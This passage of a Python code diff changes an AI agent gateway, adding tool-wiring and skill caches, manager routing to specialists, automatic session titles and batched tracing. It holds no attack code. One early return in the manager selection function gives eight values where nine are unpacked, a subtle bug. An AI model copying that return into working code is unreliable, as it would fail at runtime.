runtime_enabled, sig = _tool_wire_settings_signature(store)
freeze_enabled = _tool_wire_freeze_enabled(store)
frozen_sig = _TOOL_WIRE_FROZEN_SIGNATURE if freeze_enabled else None
if isinstance(frozen_sig, str) and frozen_sig.strip():
# Startup-prewarmed frozen mode: execution path reuses precomputed tool wiring
# and does not perform per-turn policy revalidation.
sig = frozen_sig
try:
rt_head = str(frozen_sig).split("|", 1)[0].strip().lower()
runtime_enabled = rt_head == "rt=1"
except Exception:
pass
cache_key = _tool_wire_cache_key(
store=store,
base_url=base_url,
wire_policy_role=wire_policy_role,
runtime_enabled=runtime_enabled,
settings_sig=sig,
)
with _TOOL_WIRE_CACHE_LOCK:
cached = _TOOL_WIRE_CACHE.get(cache_key)
if cached and (
(isinstance(frozen_sig, str) and frozen_sig.strip())
or (now - float(cached[0])) <= _TOOL_WIRE_CACHE_TTL_SEC
):
return copy.deepcopy(cached[1])
if runtime_enabled:
skill_specs, _ = build_skill_manifest(registry=tools, store=store, base_url=base_url)
raw_llm_tools = [s.as_openai_tool() for s in skill_specs]
@ -352,6 +519,11 @@ def _prepare_llm_tools(
)
except Exception:
pass
with _TOOL_WIRE_CACHE_LOCK:
_TOOL_WIRE_CACHE[cache_key] = (now, copy.deepcopy(llm_tools))
if len(_TOOL_WIRE_CACHE) > 256:
oldest_key = sorted(_TOOL_WIRE_CACHE.items(), key=lambda kv: kv[1][0])[0][0]
_TOOL_WIRE_CACHE.pop(oldest_key, None)
return llm_tools
@ -427,6 +599,7 @@ def _execute_tool_step(
user_text: str,
trace_id: str | None,
parent_span_id: str | None,
workspace_dir: str | None,
workspace_owner_session_id: str | None,
path_policy_tenant_id: str | None,
path_policy_user_id: str | None,
@ -450,6 +623,7 @@ def _execute_tool_step(
specialist="oclaw",
trace_id=trace_id,
parent_span_id=parent_span_id,
workspace_dir=workspace_dir,
workspace_owner_session_id=workspace_owner_session_id,
path_policy_tenant_id=path_policy_tenant_id,
path_policy_user_id=path_policy_user_id,
@ -497,6 +671,7 @@ def run_oclaw_direct_loop(
tool_signature_budget: int = 2,
skill_binding_role: str | None = None,
wire_policy_role: str | None = None,
prompt_build_context: dict[str, Any] | None = None,
) -> TurnRunOutcome:
"""A minimal oclaw-style loop: model -> tool_uses -> execute -> tool_results -> continue."""
_check_stop(should_stop)
@ -538,6 +713,8 @@ def run_oclaw_direct_loop(
attempt_no=attempt_no,
workspace_dir=workspace_dir,
skill_binding_role=skill_binding_role,
user_text=str(user_text or ""),
prompt_build_context=prompt_build_context,
)
llm_tools = _prepare_llm_tools(
store=store,
@ -577,6 +754,7 @@ def run_oclaw_direct_loop(
user_text=str(user_text or ""),
trace_id=trace_id,
parent_span_id=parent_span_id,
workspace_dir=workspace_dir,
workspace_owner_session_id=workspace_owner_session_id,
path_policy_tenant_id=path_policy_tenant_id,
path_policy_user_id=path_policy_user_id,
@ -617,5 +795,5 @@ def run_direct_loop(**kwargs: Any) -> TurnRunOutcome:
return run_oclaw_direct_loop(**kwargs)
__all__ = ["run_oclaw_direct_loop", "run_direct_loop"]
__all__ = ["run_oclaw_direct_loop", "run_direct_loop", "warm_tool_wire_cache", "tool_wire_freeze_status"]

View file

@ -4,12 +4,13 @@ import json
import os
import time
import uuid
import threading
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Callable, Optional
from oclaw.runtime.agents.factory import build_ephemeral_executor
from oclaw.runtime.agent_context import build_role_system_context
from oclaw.runtime.hooks.eligibility_from_metadata import hook_eligibility_from_message_metadata
from oclaw.runtime.hooks_runtime import (
get_active_hooks_config,
initialize_hooks_runtime,
@ -17,6 +18,7 @@ from oclaw.runtime.hooks_runtime import (
)
from oclaw.runtime.relay_pointer import summarize_relay_ttl
from oclaw.runtime.skills import build_skill_manifest
from oclaw.runtime.prompt_prebuild import get_manager_prompt_prebuild
from oclaw.runtime.types import (
OclawSessionContext,
StandardMessage,
@ -25,10 +27,10 @@ from oclaw.runtime.types import (
)
from oclaw.platform.config.paths import PROJECT_ROOT
from oclaw.prompts import render_prompt
from oclaw.prompts.loader import render_runtime_prompt
from oclaw.runtime.command_parser import parse_internal_command
from oclaw.runtime.core.agent_execution import AgentCoreRunInput, build_memory_context, run_agent_core
from oclaw.runtime.memory_stage import after_turn_memory
from oclaw.runtime.router import decide_route
from oclaw.runtime.worker import ensure_worker_started
from oclaw.runtime.orchestration.trace import new_span_id, new_trace_id
@ -47,6 +49,13 @@ _OC_STAGE_BY_EVENT: dict[str, str] = {
_SPECIALIST_FLAGS_SETTING_KEY = "AIA_CHAT_SPECIALIST_FLAGS_JSON"
_DEFAULT_TABULAR_PREVIEW_ROWS = 20
_DEFAULT_TABULAR_ROWS_READ = 5000
_SESSION_TITLE_MAX_LEN = 120
_TITLE_TRIGGER_ROUND = 3
_TITLE_BODIES_MAX_CHARS = 4000
_AUTO_TITLE_STAGE_KEY_PREFIX = "AIA_SESSION_AUTO_TITLE_STAGE:"
_SKILL_MANIFEST_CACHE_LOCK = threading.Lock()
_SKILL_MANIFEST_CACHE: dict[str, tuple[float, dict[str, Any]]] = {}
_SKILL_MANIFEST_CACHE_TTL_SEC = 5.0
@dataclass(frozen=True)
@ -120,72 +129,272 @@ class OclawGateway:
"reason": reason or "dynamic_agent_selected",
}
def _maybe_generate_title_on_third_round(self, *, msg: StandardMessage, model: Any | None) -> None:
"""Generate title once on round-3 using user text only (no tools/reasoning context)."""
if model is None or not callable(getattr(model, "chat", None)):
return
sid = str(msg.session_id or "").strip()
if not sid:
return
try:
stage_raw = str(self.store.get_setting(f"{_AUTO_TITLE_STAGE_KEY_PREFIX}{sid}") or "").strip()
except Exception:
stage_raw = ""
try:
sess = self.store.get_session(sid)
except Exception:
sess = None
if not sess:
return
cur_title = str(getattr(sess, "title", "") or "").strip()
# Two-stage naming:
# - stage "1": renamed from first user message
# - stage "3": renamed on third user message (final)
if stage_raw == "3":
return
if (cur_title not in ("新会话", "New Chat")) and (stage_raw != "1"):
return
try:
rows = self.store.get_messages(session_id=sid, limit=200)
except Exception:
rows = []
bodies: list[str] = []
for r in rows or []:
role = str(getattr(r, "role", "") or "").strip().lower()
if role != "user":
continue
txt = str(getattr(r, "content", "") or "").strip()
if txt:
bodies.append(txt)
cur_txt = str(msg.text or "").strip()
if cur_txt:
bodies.append(cur_txt)
if len(bodies) != _TITLE_TRIGGER_ROUND:
return
body = "\n".join(f"{i+1}. {t}" for i, t in enumerate(bodies))
body = body[:_TITLE_BODIES_MAX_CHARS]
try:
lang_is_en = str(msg.metadata.get("lang") if isinstance(msg.metadata, dict) else "").lower().startswith("en")
sys = (
"Generate a concise chat title from these user messages only. "
"Use the dominant language used by the user content body. "
"Return title text only, no quotes, no markdown, max 18 chars."
if lang_is_en
else "仅基于以下用户正文生成简短会话标题。请使用对话内容主体语言命名。"
"只返回标题文本,不要引号,不要markdown,最多18个字。"
)
resp = model.chat(
[{"role": "system", "content": sys}, {"role": "user", "content": body}],
[],
on_token=None,
)
title = str(getattr(resp, "content", "") or "").strip().replace("\n", " ")
title = title.strip("\"'` ").strip()
if not title:
return
self.store.rename_session(sid, title[:_SESSION_TITLE_MAX_LEN])
try:
self.store.set_setting(f"{_AUTO_TITLE_STAGE_KEY_PREFIX}{sid}", "3")
except Exception:
pass
except Exception:
return
def _maybe_rename_from_first_user_message(
self,
*,
session_id: str,
user_text: str,
attachments: list[dict[str, Any]] | None,
) -> None:
sid = str(session_id or "").strip()
if not sid:
return
try:
stage_raw = str(self.store.get_setting(f"{_AUTO_TITLE_STAGE_KEY_PREFIX}{sid}") or "").strip()
except Exception:
stage_raw = ""
if stage_raw in ("1", "3"):
return
try:
sess = self.store.get_session(sid)
except Exception:
sess = None
if not sess:
return
cur_title = str(getattr(sess, "title", "") or "").strip()
if cur_title not in ("新会话", "New Chat"):
return
try:
rows = self.store.get_messages(session_id=sid, limit=20)
except Exception:
rows = []
user_count = 0
for r in rows or []:
if str(getattr(r, "role", "") or "").strip().lower() == "user":
user_count += 1
# First user turn only.
if user_count > 1:
return
title = str(user_text or "").strip().replace("\n", " ")
if not title:
atts = attachments if isinstance(attachments, list) else []
if atts and isinstance(atts[0], dict):
title = str(atts[0].get("name") or "").strip()
if not title:
return
try:
self.store.rename_session(sid, title[:_SESSION_TITLE_MAX_LEN])
try:
self.store.set_setting(f"{_AUTO_TITLE_STAGE_KEY_PREFIX}{sid}", "1")
except Exception:
pass
except Exception:
pass
def _manager_select_specialist(
self,
*,
msg: StandardMessage,
lang: str,
executor: Any,
memory_curator_enabled: bool,
skill_names_preview: list[str] | None = None,
) -> tuple[str, str, dict[str, Any] | None]:
memory_enabled: bool,
) -> tuple[str, str, dict[str, Any] | None, str, bool, bool | None, str, str, str]:
model = getattr(executor, "model", None)
if model is None or not callable(getattr(model, "chat", None)):
return ("generalist", "manager_model_missing", None)
return ("generalist", "manager_model_missing", None, "", False, None, "", "", "")
try:
manager_context = build_role_system_context("generalist")
allowed_fixed = ["ops", "generalist", "image"]
if memory_curator_enabled:
allowed_fixed.append("memory_curator")
allowed_fixed_csv = ",".join(allowed_fixed)
allowed_fixed_quoted = ", ".join([f'"{x}"' for x in allowed_fixed])
user_block = render_runtime_prompt(
"manager/decision.md",
variables={"agent_registry": f"specialists: {allowed_fixed_csv}"},
strict=True,
registry = getattr(executor, "tools", None)
base_url = str(getattr(model, "base_url", "") or "")
if registry is None:
return ("generalist", "manager_tools_missing", None, "", False, None, "", "", "")
pack = get_manager_prompt_prebuild(
store=self.store,
registry=registry,
base_url=base_url,
memory_enabled=memory_enabled,
)
manager_context = str(pack.get("manager_context") or "")
allowed_fixed = [str(x).strip().lower() for x in (pack.get("allowed_fixed") or []) if str(x).strip()]
allowed_fixed_quoted = str(pack.get("allowed_fixed_quoted") or "")
messages = [
{
"role": "system",
"content": (
f"{manager_context}\n\n"
"Return exactly one compact JSON object with route.specialist and route.reason. "
"Return exactly one compact JSON object with route.specialist, route.reason, and "
"dispatch.instruction_text. "
f"Allowed fixed specialists: {allowed_fixed_quoted}. "
"If none fits, you may set route.specialist to a custom id and include dynamic_agent with "
"If route.specialist is NOT a fixed specialist, you MUST include dynamic_agent with "
"name/system_prompt/tool_policy(allow_tags/allow_tools)/reason."
),
},
{
"role": "user",
"content": (
f"{user_block}\n\n"
f"Visible skills preview: {', '.join(skill_names_preview or [])}\n\n"
f"User request:\n{str(msg.text or '').strip()}"
f"User request:\n{str(msg.text or '').strip()}\n\n"
"Return JSON only."
),
},
]
resp = model.chat(messages, [], on_token=None)
obj = self._parse_json_object(str(getattr(resp, "content", "") or ""))
if not isinstance(obj, dict):
return ("generalist", "manager_json_missing", None, "", False, None, "", "", "")
route = obj.get("route") if isinstance(obj, dict) else None
if not isinstance(route, dict):
return ("generalist", "manager_route_missing", None)
return ("generalist", "manager_route_missing", None, "", False, None, "", "", "")
route_kind = str(route.get("kind") or "").strip().lower()
raw_specialist = str(route.get("specialist") or "").strip().lower()
fixed_set = {"ops", "generalist", "image"}
if memory_curator_enabled:
fixed_set.add("memory_curator")
fixed_set = set([str(x).strip().lower() for x in allowed_fixed if str(x).strip()])
fixed = raw_specialist in fixed_set
specialist = normalize_requested_specialist(raw_specialist) if fixed else raw_specialist
reason = str(route.get("reason") or "").strip() or "manager_selected"
dispatch = obj.get("dispatch") if isinstance(obj, dict) else None
instruction_text = ""
if isinstance(dispatch, dict):
instruction_text = str(dispatch.get("instruction_text") or "").strip()
if not instruction_text:
return ("generalist", "manager_instruction_missing", None, "", False, None, "", "")
need_wiki_inject: bool | None = None
wiki_query = ""
memory_write_text = ""
post_reply_memory_write_text = ""
route_need = route.get("need_wiki_inject") if isinstance(route, dict) else None
if isinstance(route_need, bool):
need_wiki_inject = bool(route_need)
elif isinstance(dispatch, dict) and isinstance(dispatch.get("need_wiki_inject"), bool):
need_wiki_inject = bool(dispatch.get("need_wiki_inject"))
route_wq = route.get("wiki_query") if isinstance(route, dict) else None
if isinstance(route_wq, str):
wiki_query = str(route_wq).strip()
elif isinstance(dispatch, dict) and isinstance(dispatch.get("wiki_query"), str):
wiki_query = str(dispatch.get("wiki_query") or "").strip()
wiki_query = wiki_query[:300]
if isinstance(dispatch, dict) and isinstance(dispatch.get("memory_write_text"), str):
memory_write_text = str(dispatch.get("memory_write_text") or "").strip()[:4000]
if isinstance(dispatch, dict) and isinstance(dispatch.get("post_reply_memory_write_text"), str):
post_reply_memory_write_text = str(dispatch.get("post_reply_memory_write_text") or "").strip()[:4000]
if bool(need_wiki_inject) and not str(wiki_query or "").strip():
return ("generalist", "manager_wiki_query_missing", None, instruction_text, False, False, "", "", "")
# Allow manager to directly execute wiki/memory tasks.
if route_kind == "manager_memory":
if not memory_write_text:
return ("generalist", "manager_memory_write_missing", None, instruction_text, False, need_wiki_inject, wiki_query, "", post_reply_memory_write_text)
return ("manager", reason or "manager_memory", None, instruction_text, True, need_wiki_inject, wiki_query, memory_write_text, post_reply_memory_write_text)
dynamic_agent = self._parse_dynamic_agent(obj.get("dynamic_agent") if isinstance(obj, dict) else None)
if specialist == "memory_curator" and not memory_curator_enabled:
return ("generalist", "memory_curator_disabled_fallback", None)
if specialist == "memory" and not memory_enabled:
return ("generalist", "memory_disabled_fallback", None, instruction_text, False, need_wiki_inject, wiki_query, memory_write_text, post_reply_memory_write_text)
if not fixed and dynamic_agent is None:
return ("generalist", "dynamic_agent_invalid_fallback", None)
return (specialist, reason, dynamic_agent)
return ("generalist", "dynamic_agent_invalid_fallback", None, instruction_text, False, need_wiki_inject, wiki_query, memory_write_text, post_reply_memory_write_text)
return (specialist, reason, dynamic_agent, instruction_text, False, need_wiki_inject, wiki_query, memory_write_text, post_reply_memory_write_text)
except Exception:
return ("generalist", "manager_select_failed", None)
return ("generalist", "manager_select_failed", None, "", False, None, "", "", "")
def _memory_curator_enabled(self) -> bool:
def _manager_finalize_output(
self,
*,
msg: StandardMessage,
lang: str,
executor: Any,
specialist: str,
specialist_reply: str,
memory_enabled: bool,
on_token: Optional[Callable[[str], None]] = None,
) -> str:
model = getattr(executor, "model", None)
if model is None or not callable(getattr(model, "chat", None)):
return str(specialist_reply or "")
try:
registry = getattr(executor, "tools", None)
base_url = str(getattr(model, "base_url", "") or "")
if registry is None:
return str(specialist_reply or "")
pack = get_manager_prompt_prebuild(
store=self.store,
registry=registry,
base_url=base_url,
memory_enabled=memory_enabled,
)
manager_context = str(pack.get("manager_context") or "")
user_text = (
"请基于以下信息输出最终答复。\n\n"
f"原始用户问题:\n{str(msg.text or '').strip()}\n\n"
f"已调用专家: {str(specialist or '').strip()}\n\n"
f"专家结果:\n{str(specialist_reply or '').strip()}\n\n"
"要求:保持简洁、准确,不要暴露内部流程。"
)
resp = model.chat(
[{"role": "system", "content": manager_context}, {"role": "user", "content": user_text}],
[],
on_token=on_token,
)
final_text = str(getattr(resp, "content", "") or "").strip()
return final_text or str(specialist_reply or "")
except Exception:
return str(specialist_reply or "")
def _memory_enabled(self) -> bool:
raw = str(self.store.get_setting(_SPECIALIST_FLAGS_SETTING_KEY) or "").strip()
if not raw:
return True
@ -195,7 +404,7 @@ class OclawGateway:
return True
if not isinstance(obj, dict):
return True
return bool(obj.get("memory_curator", True))
return bool(obj.get("memory", True))
@staticmethod
def _has_tabular_ref_attachments(msg: StandardMessage) -> bool:
@ -317,6 +526,7 @@ class OclawGateway:
event_type: str,
payload: dict[str, Any],
started_at: float | None = None,
trace_sink: list[dict[str, Any]] | None = None,
) -> None:
merged: dict[str, Any] = dict(payload or {})
merged.setdefault("pipeline", "oclaw_gateway")
@ -325,15 +535,19 @@ class OclawGateway:
merged["oc_stage"] = _OC_STAGE_BY_EVENT.get(event_type, event_type)
if started_at is not None:
merged["elapsed_ms_since_gateway_start"] = int((time.perf_counter() - started_at) * 1000)
row = {
"session_id": ctx.session_id,
"trace_id": ctx.trace_id,
"span_id": new_span_id(),
"parent_span_id": ctx.parent_span_id,
"event_type": event_type,
"payload": merged,
}
if trace_sink is not None:
trace_sink.append(row)
return
try:
self.store.add_trace_event(
session_id=ctx.session_id,
trace_id=ctx.trace_id,
span_id=new_span_id(),
parent_span_id=ctx.parent_span_id,
event_type=event_type,
payload=merged,
)
self.store.add_trace_event(**row)
except Exception:
pass
@ -351,6 +565,18 @@ class OclawGateway:
specialist_executor_factory: Optional[Callable[[str], Any]] = None,
) -> OclawGatewayResult:
t0 = time.perf_counter()
ws_received_ms = None
try:
if isinstance(msg.metadata, dict):
v = (
msg.metadata.get("ws_client_send_ms")
or msg.metadata.get("client_send_ms")
or msg.metadata.get("ws_accepted_ms")
)
if v is not None:
ws_received_ms = int(v)
except Exception:
ws_received_ms = None
trace_id = new_trace_id()
rid = str(run_id or "").strip() or str(uuid.uuid4())
ctx = OclawSessionContext(
@ -363,11 +589,34 @@ class OclawGateway:
trace_id=trace_id,
parent_span_id=None,
)
trace_rows: list[dict[str, Any]] = []
def _trace_local(*, event_type: str, payload: dict[str, Any], started_at: float | None = None) -> None:
self._trace(ctx=ctx, event_type=event_type, payload=payload, started_at=started_at, trace_sink=trace_rows)
def _flush_trace_rows() -> None:
if not trace_rows:
return
try:
self.store.add_trace_events_batch(trace_rows)
trace_rows.clear()
except Exception:
# Fallback: stores used by unit tests may not implement batch insert.
try:
for row in list(trace_rows):
try:
self.store.add_trace_event(**row)
except Exception:
continue
trace_rows.clear()
except Exception:
pass
relay_stats = self._relay_pointer_stats(msg)
ttl_stats = summarize_relay_ttl(msg.metadata.get("relay_share_envelope") if isinstance(msg.metadata, dict) else None)
workspace_dir = self._resolve_workspace_dir(msg)
if workspace_dir:
initialize_hooks_runtime(cfg=None, workspace_dir=workspace_dir)
elig = hook_eligibility_from_message_metadata(msg.metadata if isinstance(msg.metadata, dict) else None)
initialize_hooks_runtime(cfg=None, workspace_dir=workspace_dir, eligibility=elig)
try:
if isinstance(msg.metadata, dict) and "workspaceDir" not in msg.metadata and "workspace_dir" not in msg.metadata:
msg.metadata["workspaceDir"] = workspace_dir
@ -375,6 +624,12 @@ class OclawGateway:
pass
parsed_cmd = parse_internal_command(str(msg.text or ""))
self._maybe_rename_from_first_user_message(
session_id=str(msg.session_id or ""),
user_text=str(msg.text or ""),
attachments=list(msg.attachments or []),
)
self._maybe_generate_title_on_third_round(msg=msg, model=getattr(executor, "model", None))
if parsed_cmd and parsed_cmd.action == "new":
trigger_hook_event(
event_type="command",
@ -390,14 +645,19 @@ class OclawGateway:
context=self._build_command_hook_context(msg=msg, workspace_dir=workspace_dir),
)
self._trace(
ctx=ctx,
_trace_local(
event_type="gateway_received",
payload={"channel": msg.channel, "has_attachments": bool(msg.attachments), **relay_stats, **ttl_stats},
payload={
"channel": msg.channel,
"has_attachments": bool(msg.attachments),
"run_id": rid,
"ws_client_send_ms": ws_received_ms,
**relay_stats,
**ttl_stats,
},
started_at=t0,
)
self._trace(
ctx=ctx,
_trace_local(
event_type="gateway_normalized",
payload={"text_chars": len(msg.text or ""), "metadata_keys": sorted(list(msg.metadata.keys()))[:20]},
started_at=t0,
@ -408,13 +668,29 @@ class OclawGateway:
reg = getattr(executor, "tools", None)
base_url = str(getattr(getattr(executor, "model", None), "base_url", "") or "")
if reg is not None:
_, stats = build_skill_manifest(registry=reg, store=self.store, base_url=base_url)
skill_stats = dict(stats or {})
self._trace(ctx=ctx, event_type="skill_manifest", payload={"base_url": base_url, **skill_stats}, started_at=t0)
cache_key = (
f"base={base_url}|skill_rt={str(self.store.get_setting('AIA_SKILL_RUNTIME_ENABLED') or '')}|"
f"skill_disabled={str(self.store.get_setting('AIA_SKILL_DISABLED_NAMES') or '')}|"
f"bind_en={str(self.store.get_setting('AIA_SKILL_ROLE_BINDING_ENABLED') or '')}|"
f"bind_inherit={str(self.store.get_setting('AIA_SKILL_ROLE_BINDING_MANAGER_INHERIT') or '')}"
)
now = time.time()
with _SKILL_MANIFEST_CACHE_LOCK:
cached = _SKILL_MANIFEST_CACHE.get(cache_key)
if cached and (now - float(cached[0])) <= _SKILL_MANIFEST_CACHE_TTL_SEC:
skill_stats = dict(cached[1] or {})
else:
_, stats = build_skill_manifest(registry=reg, store=self.store, base_url=base_url)
skill_stats = dict(stats or {})
_SKILL_MANIFEST_CACHE[cache_key] = (now, dict(skill_stats))
if len(_SKILL_MANIFEST_CACHE) > 128:
oldest_key = sorted(_SKILL_MANIFEST_CACHE.items(), key=lambda kv: kv[1][0])[0][0]
_SKILL_MANIFEST_CACHE.pop(oldest_key, None)
_trace_local(event_type="skill_manifest", payload={"base_url": base_url, **skill_stats}, started_at=t0)
except Exception:
pass
self._trace(ctx=ctx, event_type="memory_retrieval_started", payload={"session_id": msg.session_id}, started_at=t0)
_trace_local(event_type="memory_retrieval_started", payload={"session_id": msg.session_id}, started_at=t0)
memory_context = build_memory_context(
store=self.store,
session_id=msg.session_id,
@ -422,8 +698,7 @@ class OclawGateway:
user_id=msg.user_id,
query_text=msg.text,
)
self._trace(
ctx=ctx,
_trace_local(
event_type="memory_retrieval_finished",
payload={
"short_term_count": len(memory_context.short_term),
@ -434,15 +709,23 @@ class OclawGateway:
)
base_metadata = dict(msg.metadata or {})
memory_curator_enabled = self._memory_curator_enabled()
memory_enabled = self._memory_enabled()
interaction_mode = normalize_interaction_mode(base_metadata.get("interaction_mode"))
requested_specialist = normalize_requested_specialist(base_metadata.get("selected_specialist"))
if requested_specialist == "memory_curator" and not memory_curator_enabled:
if requested_specialist == "memory" and not memory_enabled:
requested_specialist = "generalist"
manager_specialist = requested_specialist
dispatch_reason = "expert_direct"
selected_executor = executor
dynamic_agent: dict[str, Any] | None = None
specialist_input_msg: StandardMessage | None = None
manager_exec_msg: StandardMessage | None = None
manager_instruction_text = ""
manager_memory_mode = False
manager_need_wiki_inject: bool | None = None
manager_wiki_query = ""
manager_memory_write_text = ""
manager_post_reply_memory_write_text = ""
if interaction_mode == "expert" and callable(specialist_executor_factory):
try:
@ -452,14 +735,92 @@ class OclawGateway:
dispatch_reason = "expert_factory_failed"
if interaction_mode == "comprehensive":
manager_specialist, dispatch_reason, dynamic_agent = self._manager_select_specialist(
(
manager_specialist,
dispatch_reason,
dynamic_agent,
instruction_text,
manager_memory_mode,
manager_need_wiki_inject,
manager_wiki_query,
manager_memory_write_text,
manager_post_reply_memory_write_text,
) = self._manager_select_specialist(
msg=msg,
lang=lang,
executor=executor,
memory_curator_enabled=memory_curator_enabled,
skill_names_preview=list(skill_stats.get("visible_names_preview") or []),
memory_enabled=memory_enabled,
)
if manager_specialist in {"ops", "generalist", "image", "memory_curator"}:
manager_instruction_text = str(instruction_text or "").strip()
_trace_local(
event_type="manager_decision",
payload={
"interaction_mode": interaction_mode,
"manager_selected_specialist": str(manager_specialist or ""),
"manager_memory_mode": bool(manager_memory_mode),
"dispatch_reason": str(dispatch_reason or ""),
"instruction_chars": int(len(manager_instruction_text or "")),
"dynamic_agent_used": bool(dynamic_agent is not None),
"dynamic_agent_name": str((dynamic_agent or {}).get("name") or "") if isinstance(dynamic_agent, dict) else "",
"memory_write_chars": int(len(manager_memory_write_text or "")),
"post_reply_memory_write_chars": int(len(manager_post_reply_memory_write_text or "")),
},
started_at=t0,
)
# Build specialist/dynamic executor and dispatch only manager instruction to it.
specialist_input_msg = StandardMessage(
session_id=msg.session_id,
tenant_id=msg.tenant_id,
user_id=msg.user_id,
role=msg.role,
channel=msg.channel,
text=str(instruction_text or "").strip(),
attachments=list(msg.attachments or []),
metadata=(
{
**dict(base_metadata),
**(
{"need_wiki_inject": bool(manager_need_wiki_inject)}
if isinstance(manager_need_wiki_inject, bool)
else {}
),
**(
{"wiki_query": str(manager_wiki_query or "")}
if str(manager_wiki_query or "").strip()
else {}
),
}
),
)
manager_exec_msg = StandardMessage(
session_id=msg.session_id,
tenant_id=msg.tenant_id,
user_id=msg.user_id,
role=msg.role,
channel=msg.channel,
text=msg.text,
attachments=list(msg.attachments or []),
metadata=(
{
**dict(base_metadata),
**(
{"need_wiki_inject": bool(manager_need_wiki_inject)}
if isinstance(manager_need_wiki_inject, bool)
else {}
),
**(
{"wiki_query": str(manager_wiki_query or "")}
if str(manager_wiki_query or "").strip()
else {}
),
}
),
)
if manager_memory_mode:
manager_specialist = "manager"
selected_executor = executor
dispatch_reason = dispatch_reason or "manager_memory"
elif manager_specialist in {"ops", "generalist", "image", "memory"}:
if callable(specialist_executor_factory):
try:
selected_executor = specialist_executor_factory(manager_specialist)
@ -484,40 +845,61 @@ class OclawGateway:
except Exception:
manager_specialist = "generalist"
dispatch_reason = "dynamic_agent_build_failed"
if callable(specialist_executor_factory):
try:
selected_executor = specialist_executor_factory("generalist")
except Exception:
selected_executor = executor
route_msg = StandardMessage(
session_id=msg.session_id,
tenant_id=msg.tenant_id,
user_id=msg.user_id,
role=msg.role,
channel=msg.channel,
text=msg.text,
attachments=list(msg.attachments or []),
metadata={
**base_metadata,
"skills_total": int(skill_stats.get("skills_total") or 0),
"interaction_mode": interaction_mode,
"requested_specialist": requested_specialist,
"manager_selected_specialist": manager_specialist,
},
)
route = decide_route(route_msg, store=self.store, model=getattr(selected_executor, "model", None))
self._trace(
ctx=ctx,
event_type="router_decision",
payload={
"mode": route.mode,
"reason": route.reason,
"interaction_mode": interaction_mode,
"requested_specialist": requested_specialist,
"manager_selected_specialist": manager_specialist,
"dispatch_reason": dispatch_reason,
},
started_at=t0,
)
route_mode = "sync_direct"
if manager_memory_mode:
_trace_local(
event_type="router_decision",
payload={
"mode": route_mode,
"reason": "manager_memory_direct",
"interaction_mode": interaction_mode,
"requested_specialist": requested_specialist,
"manager_selected_specialist": manager_specialist,
"dispatch_reason": dispatch_reason,
},
started_at=t0,
)
else:
route_msg = StandardMessage(
session_id=msg.session_id,
tenant_id=msg.tenant_id,
user_id=msg.user_id,
role=msg.role,
channel=msg.channel,
text=msg.text,
attachments=list(msg.attachments or []),
metadata={
**base_metadata,
"skills_total": int(skill_stats.get("skills_total") or 0),
"interaction_mode": interaction_mode,
"requested_specialist": requested_specialist,
"manager_selected_specialist": manager_specialist,
},
)
route = decide_route(route_msg, store=self.store, model=getattr(selected_executor, "model", None))
route_mode = str(route.mode or "sync_direct")
route_reason = str(route.reason or "")
_trace_local(
event_type="router_decision",
payload={
"mode": route_mode,
"reason": route_reason,
"interaction_mode": interaction_mode,
"requested_specialist": requested_specialist,
"manager_selected_specialist": manager_specialist,
"dispatch_reason": dispatch_reason,
},
started_at=t0,
)
if on_progress:
on_progress("oclaw: running…")
if route.mode == "async_task":
if route_mode == "async_task":
worker_id = ensure_worker_started(store=self.store)
task = self.store.oclaw_task_create(
tenant_id=msg.tenant_id,
@ -559,6 +941,7 @@ class OclawGateway:
event_type="task_enqueued",
payload={"task_id": task.id, "task_type": task.task_type, "worker_id": worker_id, "status": task.status},
started_at=t0,
trace_sink=trace_rows,
)
elapsed_ms = int((time.perf_counter() - t0) * 1000)
reply = render_prompt(
@ -566,12 +949,12 @@ class OclawGateway:
variables={"task_id": str(task.id)},
strict=True,
)
self._trace(
ctx=ctx,
_trace_local(
event_type="response_sent",
payload={"ok": True, "elapsed_ms": elapsed_ms, "mode": "async_task", "task_id": str(task.id)},
started_at=t0,
)
_flush_trace_rows()
return OclawGatewayResult(
run_id=rid,
reply_text=reply,
@ -611,10 +994,33 @@ class OclawGateway:
pass
return max(lo, min(int(default), hi))
_trace_local(
event_type="model_chat_start",
payload={"run_id": rid, "trace_id": trace_id},
started_at=t0,
)
exec_msg = (
(
StandardMessage(
session_id=msg.session_id,
tenant_id=msg.tenant_id,
user_id=msg.user_id,
role=msg.role,
channel=msg.channel,
text=str(manager_memory_write_text or manager_instruction_text or msg.text or ""),
attachments=list(msg.attachments or []),
metadata=(manager_exec_msg.metadata if manager_exec_msg is not None else dict(base_metadata)),
)
if manager_memory_mode
else (manager_exec_msg if manager_exec_msg is not None else msg)
)
if manager_memory_mode
else (specialist_input_msg if (interaction_mode == "comprehensive" and specialist_input_msg is not None) else msg)
)
core_out = run_agent_core(
store=self.store,
data=AgentCoreRunInput(
msg=msg,
msg=exec_msg,
lang=lang,
system_prompt=sys_prompt,
model=model,
@ -627,7 +1033,8 @@ class OclawGateway:
max_tool_workers=_get_int_setting("AIA_TURN_MAX_TOOL_WORKERS", 8, 1, 32),
max_attempts=_get_int_setting("AIA_OCLAW_MAX_ATTEMPTS", 2, 1, 5),
memory_context=memory_context,
on_token=on_token,
# manager_memory writes to wiki/memory store; do not stream body to frontend.
on_token=(None if manager_memory_mode else (None if interaction_mode == "comprehensive" else on_token)),
on_progress=on_progress,
on_tool_ui=on_tool_ui,
should_stop=should_stop,
@ -635,7 +1042,29 @@ class OclawGateway:
wire_policy_role="manager" if interaction_mode == "comprehensive" else str(requested_specialist),
),
)
reply = core_out.outcome.final_text
specialist_reply = str(core_out.outcome.final_text or "")
if manager_memory_mode:
# manager_memory: write memory silently, but keep dialog output independent.
# User-facing reply comes from manager dispatch instruction_text.
reply = str(manager_instruction_text or "").strip()
if not reply:
reply = (
"已执行记忆写入。"
if not str(lang or "").startswith("en")
else "Memory write executed."
)
elif interaction_mode == "comprehensive":
reply = self._manager_finalize_output(
msg=msg,
lang=lang,
executor=executor,
specialist=manager_specialist,
specialist_reply=specialist_reply,
memory_enabled=memory_enabled,
on_token=on_token,
)
else:
reply = specialist_reply
except Exception as exc:
base = render_prompt(
"fallback/runtime_error.en.md" if str(lang or "").startswith("en") else "fallback/runtime_error.zh.md",
@ -645,12 +1074,33 @@ class OclawGateway:
reply = f"{base}\n(detail: {detail})" if detail else base
elapsed_ms = int((time.perf_counter() - t0) * 1000)
self._trace(
ctx=ctx,
if interaction_mode == "comprehensive" and str(manager_post_reply_memory_write_text or "").strip():
try:
after_turn_memory(
store=self.store,
session_id=msg.session_id,
tenant_id=msg.tenant_id,
